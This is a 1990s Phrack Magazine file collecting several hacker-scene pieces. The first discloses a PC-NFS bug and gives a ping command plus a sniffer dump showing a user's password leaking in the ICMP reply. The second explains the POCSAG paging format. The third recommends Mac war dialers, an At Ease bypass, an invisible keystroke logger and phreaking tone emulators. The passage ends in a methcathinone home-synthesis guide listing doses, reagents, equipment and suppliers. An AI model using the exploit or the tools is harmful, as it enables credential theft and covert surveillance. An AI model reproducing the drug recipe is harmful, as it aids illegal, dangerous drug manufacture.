| ==Phrack Magazine== |
|
|
| Volume Seven, Issue Forty-Eight, File 3 of 18 |
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|
| // // /\ // ==== |
| // // //\\ // ==== |
| ==== // // \\/ ==== |
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| /\ // // \\ // /=== ==== |
| //\\ // // // // \=\ ==== |
| // \\/ \\ // // ===/ ==== |
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|
| Part I |
|
|
| ------------------------------------------------------------------------------ |
|
|
| PC-NFS Bug |
|
|
|
|
| I have found a nice little security hole in PC-NFS version 5.x. If you |
| ping a PC-NFS user with a packet size of between 1450 to 1480, the |
| PC's ICMP reply packet will divulge: |
|
|
| o The hostname of the PC |
| o The hostname of the PC's authentication server |
| o The username of the person logged in |
| o The password for the user (Thank you very much!) |
|
|
| All of this information is in clear text unless PC-NFS's NETLOGIN is |
| used. NETLOGIN uses XOR as its encryption, so this is hardly secure |
| either. |
|
|
| NDIS, ODI, 3C503 drivers on SMC and 3C503 cards have been tested |
| and all freely return the above information on both PC-NFS versions |
| 5.0 and 5.1a. This should work with other driver/NIC configurations |
| also. |
|
|
| You get the occasional added bonus of locking up the victims PC as |
| well! |
|
|
| This bug was new to Sun and they have created a new PCNFS.SYS |
| driver for us. They have labeled it PC-NFS.SYS version 5.1a.DOD. |
| This new version fills reply ICMP packets with nulls after 200 bytes of |
| the requested pattern. |
|
|
| Until you receive this patch from Sun, I would recommend setting all |
| external router interface MTU to a value of no greater than 1350 as this |
| is point where secrets are contained in the return packet. |
|
|
| The Unix command to generate the below results is as follows: |
|
|
| ping -s -c1 pchost.victim.com 1480 |
|
|
| Use your favorite sniffer to filter ICMP packets and you have it. If you |
| don't have a sniffer, try the -v(erbose) option of ping and convert the |
| hex to ascii starting around byte 1382. |
|
|
| Sniffer output follows: |
|
|
| 19:03:48.81 |
| ip: evil.com->pchost.victim.com |
| icmp: echo request |
| 62: 024 025 026 027 030 031 032 033 034 035 |
| 72: 036 037 ! " # $ % & ' |
| 82: ( ) * + , - . / 0 1 |
| 92: 2 3 4 5 6 7 8 9 : ; |
| 102: < = > ? @ A B C D E |
| 112: F G H I J K L M N O |
| 122: P Q R S T U V W X Y |
| 132: Z [ \ ] ^ _ ` a b c |
| 142: d e f g h i j k l m |
| 152: n o p q r s t u v w |
| 162: x y z { | } ~ 177 200 201 |
| 172: 202 203 204 205 206 207 210 211 212 213 |
| 182: 214 215 216 217 220 221 222 223 224 225 |
| 192: 226 227 230 231 232 233 234 235 236 237 |
| 202: 240 241 242 243 244 245 246 247 250 251 |
| 212: 252 253 254 255 256 257 260 261 262 263 |
| 222: 264 265 266 267 270 271 272 273 274 275 |
| 232: 276 277 300 301 302 303 304 305 306 307 |
| 242: 310 311 312 313 314 315 316 317 320 321 |
| 252: 322 323 324 325 326 327 330 331 332 333 |
| 262: 334 335 336 337 340 341 342 343 344 345 |
| 272: 346 347 350 351 352 353 354 355 356 357 |
| 282: 360 361 362 363 364 365 366 367 370 371 |
| 292: 372 373 374 375 376 377 000 001 002 003 |
| 302: 004 005 006 007 010 011 012 013 014 015 |
| 312: 016 017 020 021 022 023 024 025 026 027 |
| 322: 030 031 032 033 034 035 036 037 ! |
| 332: " # $ % & ' ( ) * + |
| 342: , - . / 0 1 2 3 4 5 |
| 352: 6 7 8 9 : ; < = > ? |
| 362: @ A B C D E F G H I |
| 372: J K L M N O P Q R S |
| 382: T U V W X Y Z [ \ ] |
| 392: ^ _ ` a b c d e f g |
| 402: h i j k l m n o p q |
| 412: r s t u v w x y z { |
| 422: | } ~ 177 200 201 202 203 204 205 |
| 432: 206 207 210 211 212 213 214 215 216 217 |
| 442: 220 221 222 223 224 225 226 227 230 231 |
| 452: 232 233 234 235 236 237 240 241 242 243 |
| 462: 244 245 246 247 250 251 252 253 254 255 |
| 472: 256 257 260 261 262 263 264 265 266 267 |
| 482: 270 271 272 273 274 275 276 277 300 301 |
| 492: 302 303 304 305 306 307 310 311 312 313 |
| 502: 314 315 316 317 320 321 322 323 324 325 |
| 512: 326 327 330 331 332 333 334 335 336 337 |
| 522: 340 341 342 343 344 345 346 347 350 351 |
| 532: 352 353 354 355 356 357 360 361 362 363 |
| 542: 364 365 366 367 370 371 372 373 374 375 |
| 552: 376 377 000 001 002 003 004 005 006 007 |
| 562: 010 011 012 013 014 015 016 017 020 021 |
| 572: 022 023 024 025 026 027 030 031 032 033 |
| 582: 034 035 036 037 ! " # $ % |
| 592: & ' ( ) * + , - . / |
| 602: 0 1 2 3 4 5 6 7 8 9 |
| 612: : ; < = > ? @ A B C |
| 622: D E F G H I J K L M |
| 632: N O P Q R S T U V W |
| 642: X Y Z [ \ ] ^ _ ` a |
| 652: b c d e f g h i j k |
| 662: l m n o p q r s t u |
| 672: v w x y z { | } ~ 177 |
| 682: 200 201 202 203 204 205 206 207 210 211 |
| 692: 212 213 214 215 216 217 220 221 222 223 |
| 702: 224 225 226 227 230 231 232 233 234 235 |
| 712: 236 237 240 241 242 243 244 245 246 247 |
| 722: 250 251 252 253 254 255 256 257 260 261 |
| 732: 262 263 264 265 266 267 270 271 272 273 |
| 742: 274 275 276 277 300 301 302 303 304 305 |
| 752: 306 307 310 311 312 313 314 315 316 317 |
| 762: 320 321 322 323 324 325 326 327 330 331 |
| 772: 332 333 334 335 336 337 340 341 342 343 |
| 782: 344 345 346 347 350 351 352 353 354 355 |
| 792: 356 357 360 361 362 363 364 365 366 367 |
| 802: 370 371 372 373 374 375 376 377 000 001 |
| 812: 002 003 004 005 006 007 010 011 012 013 |
| 822: 014 015 016 017 020 021 022 023 024 025 |
| 832: 026 027 030 031 032 033 034 035 036 037 |
| 842: ! " # $ % & ' ( ) |
| 852: * + , - . / 0 1 2 3 |
| 862: 4 5 6 7 8 9 : ; < = |
| 872: > ? @ A B C D E F G |
| 882: H I J K L M N O P Q |
| 892: R S T U V W X Y Z [ |
| 902: \ ] ^ _ ` a b c d e |
| 912: f g h i j k l m n o |
| 922: p q r s t u v w x y |
| 932: z { | } ~ 177 200 201 202 203 |
| 942: 204 205 206 207 210 211 212 213 214 215 |
| 952: 216 217 220 221 222 223 224 225 226 227 |
| 962: 230 231 232 233 234 235 236 237 240 241 |
| 972: 242 243 244 245 246 247 250 251 252 253 |
| 982: 254 255 256 257 260 261 262 263 264 265 |
| 992: 266 267 270 271 272 273 274 275 276 277 |
| 1002: 300 301 302 303 304 305 306 307 310 311 |
| 1012: 312 313 314 315 316 317 320 321 322 323 |
| 1022: 324 325 326 327 330 331 332 333 334 335 |
| 1032: 336 337 340 341 342 343 344 345 346 347 |
| 1042: 350 351 352 353 354 355 356 357 360 361 |
| 1052: 362 363 364 365 366 367 370 371 372 373 |
| 1062: 374 375 376 377 000 001 002 003 004 005 |
| 1072: 006 007 010 011 012 013 014 015 016 017 |
| 1082: 020 021 022 023 024 025 026 027 030 031 |
| 1092: 032 033 034 035 036 037 ! " # |
| 1102: $ % & ' ( ) * + , - |
| 1112: . / 0 1 2 3 4 5 6 7 |
| 1122: 8 9 : ; < = > ? @ A |
| 1132: B C D E F G H I J K |
| 1142: L M N O P Q R S T U |
| 1152: V W X Y Z [ \ ] ^ _ |
| 1162: ` a b c d e f g h i |
| 1172: j k l m n o p q r s |
| 1182: t u v w x y z { | } |
| 1192: ~ 177 200 201 202 203 204 205 206 207 |
| 1202: 210 211 212 213 214 215 216 217 220 221 |
| 1212: 222 223 224 225 226 227 230 231 232 233 |
| 1222: 234 235 236 237 240 241 242 243 244 245 |
| 1232: 246 247 250 251 252 253 254 255 256 257 |
| 1242: 260 261 262 263 264 265 266 267 270 271 |
| 1252: 272 273 274 275 276 277 300 301 302 303 |
| 1262: 304 305 306 307 310 311 312 313 314 315 |
| 1272: 316 317 320 321 322 323 324 325 326 327 |
| 1282: 330 331 332 333 334 335 336 337 340 341 |
| 1292: 342 343 344 345 346 347 350 351 352 353 |
| 1302: 354 355 356 357 360 361 362 363 364 365 |
| 1312: 366 367 370 371 372 373 374 375 376 377 |
| 1322: 000 001 002 003 004 005 006 007 010 011 |
| 1332: 012 013 014 015 016 017 020 021 022 023 |
| 1342: 024 025 026 027 030 031 032 033 034 035 |
| 1352: 036 037 ! " # $ % & ' |
| 1362: ( ) * + , - . / 0 1 |
| 1372: 2 3 4 5 6 7 8 9 : ; |
| 1382: < = > ? @ A B C D E |
| 1392: F G H I J K L M N O |
| 1402: P Q R S T U V W X Y |
| 1412: Z [ \ ] ^ _ ` a b c |
| 1422: d e f g h i j k l m |
| 1432: n o p q r s t u v w |
| 1442: x y z { | } ~ 177 200 201 |
| 1452: 202 203 204 205 206 207 210 211 212 213 |
| 1462: 214 215 216 217 220 221 222 223 224 225 |
| 1472: 226 227 230 231 232 233 234 235 236 237 |
| 1482: 240 241 242 243 244 245 246 247 250 251 |
|
|
| 19:03:48.85 |
| ip: pchost.victim.com->evil |
| icmp: echo reply |
| 62: 024 025 026 027 030 031 032 033 034 035 |
| 72: 036 037 ! " # $ % & ' |
| 82: ( ) * + , - . / 0 1 |
| 92: 2 3 4 5 6 7 8 9 : ; |
| 102: < = > ? @ A B C D E |
| 112: F G H I J K L M N O |
| 122: P Q R S T U V W X Y |
| 132: Z [ \ ] ^ _ ` a b c |
| 142: d e f g h i j k l m |
| 152: n o p q r s t u v w |
| 162: x y z { | } ~ 177 200 201 |
| 172: 202 203 204 205 206 207 210 211 212 213 |
| 182: 214 215 216 217 220 221 222 223 224 225 |
| 192: 226 227 230 231 232 233 234 235 236 237 |
| 202: 240 241 242 243 244 245 246 247 250 251 |
| 212: 252 253 254 255 256 257 260 261 262 263 |
| 222: 264 265 266 267 270 271 272 273 274 275 |
| 232: 276 277 300 301 302 303 304 305 306 307 |
| 242: 310 311 312 313 314 315 316 317 320 321 |
| 252: 322 323 324 325 000 000 324 005 ^ $ |
| 262: : 004 000 000 000 000 000 000 000 000 |
| 272: 036 006 W V P S Q R 016 007 |
| 282: 277 ^ $ 213 367 350 X p r c |
| 292: 212 E " < 000 u 005 350 V 003 |
| 302: 353 W < 005 u 005 350 W 002 353 |
| 312: N < 010 u 007 306 006 325 # 001 |
| 322: 353 H < 015 u 007 306 006 325 # |
| 332: 001 353 = < 017 u 007 306 006 325 |
| 342: # 001 353 2 < 022 u 005 350 021 |
| 352: 002 353 $ < 003 u 005 350 9 003 |
| 362: 353 033 < 022 w 017 2 344 213 360 |
| 372: 212 204 300 # P 350 225 305 X 353 |
| 382: 010 P 270 c 000 350 213 305 X 306 |
| 392: 006 205 347 000 Z Y [ X ^ _ |
| 402: 007 037 313 P S Q R U 036 006 |
| 412: W V 214 310 216 330 216 300 306 006 |
| 422: 325 # 000 373 277 ^ $ 273 A 347 |
| 432: 271 006 000 215 6 d $ 212 004 210 |
| 442: 005 212 007 210 004 F G C 342 363 |
| 452: 241 x $ 243 | $ 241 z $ 243 |
| 462: ~ $ 241 324 ) 243 x $ 241 326 |
| 472: ) 243 z $ 277 ^ $ 212 E " |
| 482: < 010 u 015 P 270 ` 000 350 $ |
| 492: 305 X 350 275 001 353 022 < 015 u |
| 502: 012 P 270 a 000 350 023 305 X 353 |
| 512: 004 < 017 u 003 350 017 000 306 006 |
| 522: 205 347 000 ^ _ 007 037 ] Z Y |
| 532: [ X 303 P 270 < 000 350 363 304 |
| 542: X 307 E $ 000 000 215 u " 213 |
| 552: M 020 206 351 203 351 024 367 301 001 |
| 562: 000 t 006 213 331 306 000 000 A 321 |
| 572: 371 350 , o 211 ] $ 307 E 030 |
| 582: 000 000 215 u 016 271 012 000 350 033 |
| 592: o 211 ] 030 213 E 020 206 340 005 |
| 602: 016 000 243 ` % 211 > b % 214 |
| 612: 016 d % 277 ^ % . 376 006 ? |
| 622: 020 350 9 276 . 376 016 ? 020 303 |
| 632: & 213 E 002 013 300 t 020 243 326 |
| 642: # & 213 ] 004 211 036 330 # 350 |
| 652: 231 m 353 0 200 > 324 ) 000 t |
| 662: 033 & 203 } 006 000 t 024 203 > |
| 672: 326 # 000 u 015 350 031 000 203 > |
| 682: 326 # 000 t 003 350 u m 241 326 |
| 692: # & 211 E 002 241 330 # & 211 |
| 702: E 004 303 & 213 M 006 006 V W |
| 712: 016 007 272 000 000 277 334 # 350 $ |
| 722: 000 241 323 # 243 350 X 203 > 326 |
| 732: # 000 u 023 366 006 343 015 001 u |
| 742: 014 203 > 350 X 000 u 353 272 001 |
| 752: 000 342 332 _ ^ 007 303 Q R W |
| 762: 203 372 000 u 021 203 > 030 214 000 |
| 772: t 012 276 004 214 271 003 000 363 245 |
| 782: 353 010 270 377 377 271 003 000 363 253 |
| 792: 276 A 347 271 003 000 363 245 _ 270 |
| 802: 377 377 211 E 036 211 E 241 324 |
| 812: ) 211 E 032 241 326 ) 211 E 034 |
| 822: 270 000 206 340 211 E 020 306 E |
| 832: 016 E 306 E 017 000 307 E 022 000 |
| 842: 000 307 E 024 000 000 306 E 026 002 |
| 852: 306 E 027 001 307 E 014 010 000 3 |
| 862: 300 306 E " 021 210 E # 211 E |
| 872: & 211 E ( 350 250 376 Z Y 303 |
| 882: 200 > 326 # 000 u 014 213 E * |
| 892: 243 326 # 213 E , 243 330 # P |
| 902: 270 V 000 350 205 303 X 303 P S |
| 912: Q R 213 E : 213 ] < 213 M |
| 922: & 213 U ( 350 223 k Z Y [ |
| 932: X P 270 \ 000 350 e 303 X 303 |
| 942: 306 E " 000 P 270 X 000 350 X |
| 952: 303 X 303 & 213 E 002 & 213 ] |
| 962: 004 & 213 U 006 006 W 016 007 350 |
| 972: Y i s 003 351 227 000 277 334 # |
| 982: W 271 003 000 363 245 276 A 347 271 |
| 992: 003 000 363 245 _ 211 E 036 211 ] |
| 1002: 241 324 ) 211 E 032 241 326 ) |
| 1012: 211 E 034 270 000 206 340 211 E |
| 1022: 020 306 E 016 E 306 E 017 000 307 |
| 1032: E 022 000 000 307 E 024 000 000 306 |
| 1042: E 026 377 306 E 027 001 307 E 014 |
| 1052: 010 000 3 300 306 E " 010 210 E |
| 1062: # 211 E & 377 006 h % 241 h |
| 1072: % 211 E ( 211 026 350 X 211 026 |
| 1082: l % 307 006 j % 000 000 350 322 |
| 1092: 375 203 > 350 X 000 t # 366 006 |
| 1102: 343 015 001 u ! 203 > j % 000 |
| 1112: t 353 203 > j % 001 u 011 241 |
| 1122: l % + 006 350 X 353 015 270 375 |
| 1132: 377 353 010 270 376 377 353 003 270 377 |
| 1142: 377 307 006 l % 000 000 _ 007 & |
| 1152: 211 E 010 303 P 270 ^ 000 350 206 |
| 1162: 302 X 203 > l % 000 t 017 213 |
| 1172: ] ( ; 036 h % u 006 307 006 |
| 1182: j % 001 000 303 P 270 ; 000 350 |
| 1192: g 302 X 203 > l % 000 t 006 |
| 1202: 307 006 j % 002 000 303 000 000 000 |
| 1212: 000 000 000 000 000 000 000 000 000 000 |
| 1222: 000 000 000 000 000 000 000 000 000 000 |
| 1232: 000 000 000 000 000 000 000 000 000 000 |
| 1242: 000 000 000 000 000 000 000 000 002 000 |
| 1252: 000 000 300 A 000 000 034 000 000 000 |
| 1262: 200 000 000 000 k 000 000 000 000 016 |
| 1272: 000 000 000 000 000 000 000 000 000 |
| 1282: 010 000 000 000 252 001 000 000 010 5 |
| 1292: 000 000 r 027 301 . 000 000 000 000 |
| 1302: 036 F 300 . 000 000 000 000 036 F |
| 1312: 300 . 000 000 000 000 000 000 000 000 |
| 1322: 000 000 000 000 000 000 000 000 000 000 |
| 1332: 000 000 000 000 000 000 000 000 000 000 |
| 1342: 000 000 000 000 000 000 000 000 000 |
| 1352: 000 000 000 002 000 000 200 366 = 000 |
| 1362: { 255 023 000 242 265 015 000 002 000 |
| 1372: 000 000 S 017 005 000 C 003 000 000 |
| 1382: p c h o s t 000 000 000 000 |
| 1392: 000 000 000 000 000 000 244 A @ - |
| 1402: s e r v e r 1 000 000 000 |
| 1412: 000 000 000 000 000 000 244 A @ 001 |
| 1422: 000 000 000 000 000 000 000 000 000 000 |
| 1432: 000 000 000 000 000 000 244 A @ 001 |
| 1442: u s e r n a m e 000 000 |
| 1452: p a s s w d 000 000 000 000 |
| 1462: 000 000 000 000 000 000 000 000 000 000 |
| 1472: 000 000 000 000 000 000 000 000 000 000 |
| 1482: 000 000 200 000 k 000 260 271 377 377 |
| 1492: 344 275 9 212 |
|
|
| The names have been changed to protect the innocent, but the rest is actual. |
|
|
| Byte 1382: PC's hostname |
| Byte 1402: PC's Authentication server hostname |
| Byte 1382: The user's account name. Shows nobody if logged out. |
| Byte 1382: The user's password. |
|
|
| ------------------------------------------------------------------------------ |
|
|
| POCSAG paging format, code and code capacity |
|
|
| The POCSAG (Post Office Code Standardization Advisory Group) code is a |
| synchronous paging format that allows pages to be transmitted in a SINGLE-BATCH |
| structure. The POCSAG codes provides improved battery-saving capability and an |
| increased code capacity. |
| The POCSAG code format consists of a preamble and one or more batches of |
| codewords. Each batch comprises a 32-bit frame synchronization code and eight |
| 64-bit address frames of two 32-bit addresses or idle codewords each. The |
| frame synchronization code marks the start of the batch of codewords. |
|
|
| -PREAMBLE STRUCTURE |
| The preamble consists of 576 bits of an alternating 101010 pattern transmitted |
| at a bit rate of 512 or 1200 bps. The decoder uses the preamble both to |
| determine if the data received is a POCSAG signal and for synchronization with |
| the stream of data. |
|
|
| |---Preamble----|-----------First Batch-------------|--Subsec. Batch--| |
|
|
| ______________________________________________________< <____________ |
| paging | 576 bits of | | | | | | | | | | | > > | |
| format | reversals |F| | | | | | | | | | | | | | | | |F| | |
| | (101010, etc) |S| | | | | | | | | | | | | | | | |S| | |
| |_______________|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|__< <____________| |
| > > |
| 1 FRAME = 2 CODEWORDS |
|
|
| Preamble Batchs |
|
|
| 512 BPS 1125 mS 1062.5 mS |
|
|
| 1200 BPS 480 mS 453.3 mS |
|
|
| CodeWords Structure |
| ____________________________________________________________________ |
| BIT | | | | | | |
| NUMBER | 1 | 2 to 19 | 20,21 | 22 to 31 | 32 | |
| |___|______________|_______|_______________________|_________________| |
| ____________________________________________________________________ |
| ADDRESS| | | | | | |
| FORMAT | 0 | Address Bits | S I B | Parity Check Bits | Even parity | |
| |___|______________|_______|_______________________|_________________| |
| ^ |
| Source identifier bits |
| ____________________________________________________________________ |
| MESSAGE| | | | | |
| FORMAT | 1 | Message Bits | Parity Check Bits | Even parity | |
| |___|______________________|_______________________|_________________| |
|
|
| -BATCH STRUCTURE |
| A batch consist of frame synchronization code follow by 8 frames of two address |
| codewords per frame (16 address codewords per batch). In order to maintain the |
| proper batch structure, each frame is filled with two address codewords, or two |
| idle codewords, or two message codewords, or any appropriate combination of the |
| three codewords types. |
|
|
| -FRAME SYNCHRONIZATION CODE STRUCTURE |
| The frame synchronization (FS) code is a unique, reserved word that is used to |
| identify the beginning of each batch. The FS code comprises the 32 bits: |
|
|
| 011111100110100100001010111011000. |
|
|
| -OPTIONAL ALTERNATE FRAME SYNCHRONIZATION CODEWORDS |
| An alternate frame synchronization (AFS) code can be selected to support special |
| systems or systems that require increased coding capability. The AFS is |
| generated in the same manner as an address codeword (i.e., BCH codeword with |
| parity bits). The POCSAG signaling standard has reserved special codewords for |
| the AFS from 2,000,000 to 2,097,151. The use of the AFS requires the paging |
| system to support the AFS. The AFS will change to frame 0 on the programmer |
| since no frame information is included in the AFS. The AFS should use address |
| 1 so that bit 20 and 21 are 0. |
|
|
| -ADDRESS CODEWORD STRUCTURE |
| An address codeword's first bit (bit 1) is always a zero. Bits 2 through 19 are |
| the address bits. The pagers looks at these bits to find its own unique |
| address. Each POCSAG codeword is capable of providing address information for |
| four different paging sources (Address 1 to 4). These address are determined |
| by combinations of values of bits 20 and 21 ( the source-identifier bits). Bits |
| 22 through 31 are the parity check bits, and bit 32 is the even parity bit. |
|
|
|
|
| BIT 20 BIT 21 |
| Address 1 0 0 |
| Address 2 0 1 |
| Address 3 1 0 |
| Address 4 1 1 |
|
|
| Pre-coded into the code plug are three bits which designate the frame location, |
| within each batch, at which the pager's address is to be received; the decoder |
| will look at the codewords in this frame for its address. |
| Power is removed from the receiver during all frames other than the precoded |
| one, thus extending pager battery life. |
|
|
| -CODE CAPACITY |
| The combination of the code plug's three pre-coded frame location bits and address codeword's 18 address bits provides over two million different assignable codes. In this combination, the frame location bits are the least-significant bits, and the addres |
| s |
| bits are the most-significant bits. |
|
|
| -MESSAGE CODEWORD STRUCTURE |
| A message codeword structure always start with a 1 in bit 1 and always follows |
| directly after the address. Each message codeword replaces an address codeword |
| in the batch. |
|
|
| -IDLE CODEWORD STRUCTURE |
| The idle codeword is unique, reserved codeword used to talk place of an address |
| in any frame that would not otherwise be filled with 64 bits. |
| Thus, if a frame contains only an address, an idle codeword comprises the 32 |
| bits: |
|
|
| 01111010100010011100000110010111 |
|
|
| -POCSAG CHARACTERS |
|
|
| CHAR HEX | CHAR HEX | CHAR HEX | |
| | | | |
| # 23 | $ 24 | @ 40 | |
| [ 5B | \ 5C | ] 5D | |
| ^ 5E | _ 5F | ' 60 | |
| { 7B | | 7C | } 7D | |
| ~ 7E | DEL 7F | SP 20 | |
|
|
| ------------------------------------------------------------------------------ |
|
|
| MACINTOSH HACKING |
| by Logik Bomb |
|
|
| "My fellow astronauts..." |
| -Dan Quayle |
|
|
| Now, two people have mailed Erik Bloodaxe asking about Macintosh |
| hacking particularly war dialers, and each time he insulted Macs and tried |
| to get someone to write a file on it. No one has done it. So I guess I have |
| to. |
| First, some words on Macintoshes. Steve Jobs and Steve Wozniak, the |
| originators of the Apple and the Macintosh were busted for phreaking in |
| college. The Apple IIe was used almost universally by hackers. So why has |
| the Mac fallen out of favor for hacking? Simple. Because it fell out of |
| favor for everything else. Apple screwed up and wouldn't let clone makers |
| license the MacOS. As a result, 80% of personal computers run DOS, and |
| Macintoshes are left in the minority. Second, DOS compatible users, and |
| hackers in particular, have an image of Mac users as a bunch of whiny |
| lamers who paid too much for a computer and as a result are constantly |
| defensive. The solution to this impression is to not be an asshole. I know |
| it drives every Mac user crazy when he reads some article about Windows |
| 95's brand new, advanced features such as "plug-and-play" that the |
| Macintosh has had since 1984. But just try and take it. If it's any |
| consolation, a lot of IBM-compatible (a huge misnomer, by the way) users |
| hate Windows too. |
| Now, on with the software. |
| ------------------------- |
| Assault Dialer 1.5 |
| Assault Dialer, by Crush Commando, is the premier Mac war dialer, |
| the Mac's answer to ToneLoc. It has an ugly interface, but it's the best we |
| have right now. It is the successor to a previous war dialer known as Holy |
| War Dialer 2.0. The only real competitor I've heard of for Assault Dialer |
| is Tyrxis Shockwave 2.0, but the only version I could get a hold of was |
| 1.0, and it wasn't as good as Assault Dialer, so that's your best bet right |
| now. |
|
|
| MacPGP 2.6.2 and PGPfone 1.0b4 |
| MacPGP is the Macintosh port of the infamous PGP (Pretty Good |
| Privacy.) This file is not about cryptography, so if you want to know about |
| PGP read the fuckin' read me and docs that come with the file. Strangely |
| enough, however, Phil Zimmerman released PGPfone, a utility for encrypting |
| your phone and making it a secure line, for the Mac _first._ I don't know |
| why, and I haven't had a chance to test it, but the idea's pretty cool. If |
| PGP doesn't get Zimmerman thrown in jail, this will. |
|
|
| DisEase 1.0 and DisEase 3.0 |
| Schools and concerned parents have always had a problem. Schools |
| can't have students deleting the hard drive, and parents don't want their |
| kids looking at the kinky pictures they downloaded. So Apple came out with |
| At Ease, an operating system that runs over System 7, sort of the same way |
| Windows runs off of DOS. However, I can't stand At Ease. Everything about |
| it, from the Fisher-Price screen to the interface drives me crazy. It |
| drives a lot of other people crazy too. So it was just a matter of time |
| before someone made a program to override it. The first was DisEase 1.0, a |
| small program by someone calling himself Omletman, that would override At |
| Ease if you put in a floppy loaded with it and clicked six times. Omletman |
| improved this design and eventually released 3.0. (I haven't been able to |
| find any evidence that a 2.0 was ever released) 3.0 has such cool features |
| as reading the preferences file to give you the password, so you can change |
| the obnoxious greeting teachers always put to something more sinister. The |
| only problem with 3.0 is that some configurations of At Ease only let |
| documents be read off of disks; no applications, which means DisEase 3.0 |
| won't appear, and so you can't run it. However, with 1.0 you don't have to |
| actually open the application, you just click six times, so if you use 1.0 |
| to get to the finder, and then 3.0 to read the passwords, things will work. |
|
|
| Invisible Oasis Installer |
| Oasis is a keystroke recorder, so you can find out passwords. |
| However, with the original Oasis, you had to put it in the Extensions |
| folder and make it invisible with ResEdit, which takes a while. Invisible |
| Oasis Installer, however, installs it where it should be and automatically |
| makes it invisible. |
| "So everything's wrapped up in a nice neat little _package_, then?" |
| -Homer Simpson |
|
|
| Anonymity 2.0 and Repersonalize 1.0 |
| Anonymity, version 1.2, was a rather old program whose author has |
| long been forgotten that was the best data fork alterer available. It |
| removed the personalization to programs. However, in around 1990 someone |
| named the Doctor made 2.0, a version with some improvements. Repersonalize |
| was made in 1988 (God, Mac hacking programs are old) which reset |
| personalization on some of the Microsoft and Claris programs, so you could |
| enter a different personalization name. I don't know if it will still work |
| on Microsoft Word 6.0.1 and versions of programs released recently, but I |
| don't really care because I use Word 5.1a and I'm probably not going to |
| upgrade for a while. |
|
|
| Phoney (AKA Phoney4Mac) |
| Phoney is an excellent program that emulates the Blue Box, Red Box, |
| Black Box and Green Box tones. There is also Phoney4Newton, which does the |
| same thing on the most portable of computers, the Newton. |
|
|
| That's all I'm covering in this file as far as Mac hacking |
| programs. You'll probably want to know where to find all this crap, so here |
| are all of the Mac hacking ftp and Web sites I know of: |
| Space Rogue's Whacked Mac Archives (http://l0pht.com/~spacerog/index.html) |
| This site, run by Space Rogue is L0pht Heavy Industries' Mac site. |
| It is probably the largest and best archive of Mac hacking software |
| connected to the Internet. The problem with this is that it can't handle |
| more than two anonymous users, meaning that unless you pay to be part of |
| L0pht, you will never get into this archive. I've tried getting up at 4:30 |
| AM, thinking that no one in their right mind would possibly be awake at |
| this time, but there is always, somehow, somewhere, two people in Iceland |
| or Singapore or somewhere on this site. |
| The Mac Hacking Home Page (http://www.aloha.com/~seanw/index.html) |
| This site does not look like much, and it is fairly obvious that |
| its maintainer, Sean Warren, is still learning HTML, but it is reliable and |
| is a good archive. It is still growing, probably due to the fact that it is |
| one of the only Internet Mac hacking sites anyone can get to and upload. |
| Kn0wledge Phreak <k0p> (http://www.uccs.edu/~abusby/k0p.html) |
| This is an excellent site and has many good programs. There is one |
| catch, however. It's maintainer, Ole Buzzard, is actually getting the files |
| from his BBS. So many of the really good files are locked away in the k0p |
| BBS, and those of us who can't pay long distance can't get the files. Oh |
| well. |
| Bone's H/P/C Page o' rama- part of the Cyber Rights Now! home page |
| (http://www.lib.iup.edu/~seaman/index.html) |
| While this is hardly a Macintosh hacking site, it's just a hacking |
| site, it does have very few Mac files, some of which are hard to get to. |
| However, Bone might get expelled because of a long story involving AOHell, |
| so this page might not be here. Then again, maybe Bone won't get expelled |
| and this site will stay. Never can tell 'bout the future, can you? |
| "We predict the future. We invent it." |
| -Nasty government guy on the season premiere of _The X-Files_ |
|
|
| Andy Ryder |
| Netsurfer and Road Warrior on the Info Highway |
| I've pestered Bruce Sterling _and_ R.U. Sirius! |
| As mentioned in the alt.devilbunnies FAQ, part I (Look it up!) |
| Once scored 29,013,920 points on Missile Command |
|
|
| "This Snow Crash thing- is it a virus, a drug, or a religion?" |
| -Hiro Protagonist |
| "What's the difference?" |
| -Juanita Marquez |
|
|
| "...one person's 'cyberpunk' is another's everyday obnoxious teenager with |
| some technical skill thrown in..." |
| -Erich Schneider, "alt.cyberpunk Frequently Asked Questions List" |
| "More than _some_ technical skill." |
| -Andy Ryder |
|
|
| ------------------------------------------------------------------------------ |
|
|
|
|
| Making Methcathinone |
|
|
| Compiled |
|
|
| by Anonymous |
|
|
|
|
| Ok, this has got to be the easiest drug made at home (by far). This is very |
| similar to methamphetamine in structure, effect, and use. Typical doses |
| start at 20mg up to 60mg. Start low, go slow. Cat can be taken orally (add |
| 10 mg) or through mucous membranes (nasally). |
|
|
| Ingredients: |
| Diet pills, or bronchodilator pills (1000 ea) containing 25mg ephedrine. |
| Potassium chromate, or dichromate (easily gotten from chem lab. orange/red) |
| Conc. Sulfuric acid - it's up to you where you get this. Contact me if you |
| need help locating it. |
| Hydrochloric acid or Muriatic acid - Pool supply stores, hardware stores, it |
| is used for cleaning concrete. |
| Sodium Hydroxide - Hardware stores. AKA lye. |
| Toluene - Hardware store, paint store. |
|
|
| Lab equipment: |
| 1 liter, 3 neck flask - get it from school or Edmund's Scientific ($20.00) |
| 125 mL separatory funnel - same as above |
| glass tubing - same as above |
|
|
| Buchner funnel - This is a hard to find item, but must schools have at least |
| one. They are usually white porcelain or plastic. They look |
| like a funnel with a flat disk in the bottom with lots of |
| holes in it. If you need one, arrangements can be made. |
| Aspirator or vacuum pump - Any lab-ware supply catalog, about $10.00 |
|
|
| References to Edmund's Scientific Co, in NJ, are accurate. You have to go |
| to their "Lab Surplus/Mad Scientist" room. The prices are incredible. |
| This place is definitely a recommended stopping sight for anybody going |
| through New Jersey. It is located in "Barrington", about 30 minutes from |
| center city Philadelphia. |
| All of the above can be purchased from "The Al-Chymist". Their number is |
| (619)948-4150. Their address is: 17525 Alder #49 |
| Hesperia, Ca 92345 |
| Call and ask for a catalog. |
|
|
| That's it. The body of this article is stolen from the third edition of |
| "Secrets of Methamphetamine Manufacture" by Uncle Fester. This is a tried |
| and proven method by many people. If you want a copy of this book, contact |
| me. |
|
|
| Good luck and keep away from the DEA |
|
|
|
|
| M E T H C A T H I N O N E |
|
|
| K I T C H E N I M P R O V I E S E D C R A N K |
|
|
|
|
| The latest designer variant upon the amphetamine molecule to gain |
| popularity and publicity is methcathinone, commonly called cat. This |
| substance is remarkably similar to the active ingredient found in the |
| leaves of the khat tree which the loyal drug warriors on the network news |
| blame for turning peace loving Somalis into murderous psychopaths. The |
| active ingredient in the khat leaves is cathinone, which has the same |
| structural relationship to methcathinone that amphetamine has to |
| methamphetamine. It is made by oxidizing ephedrine, while meth can be |
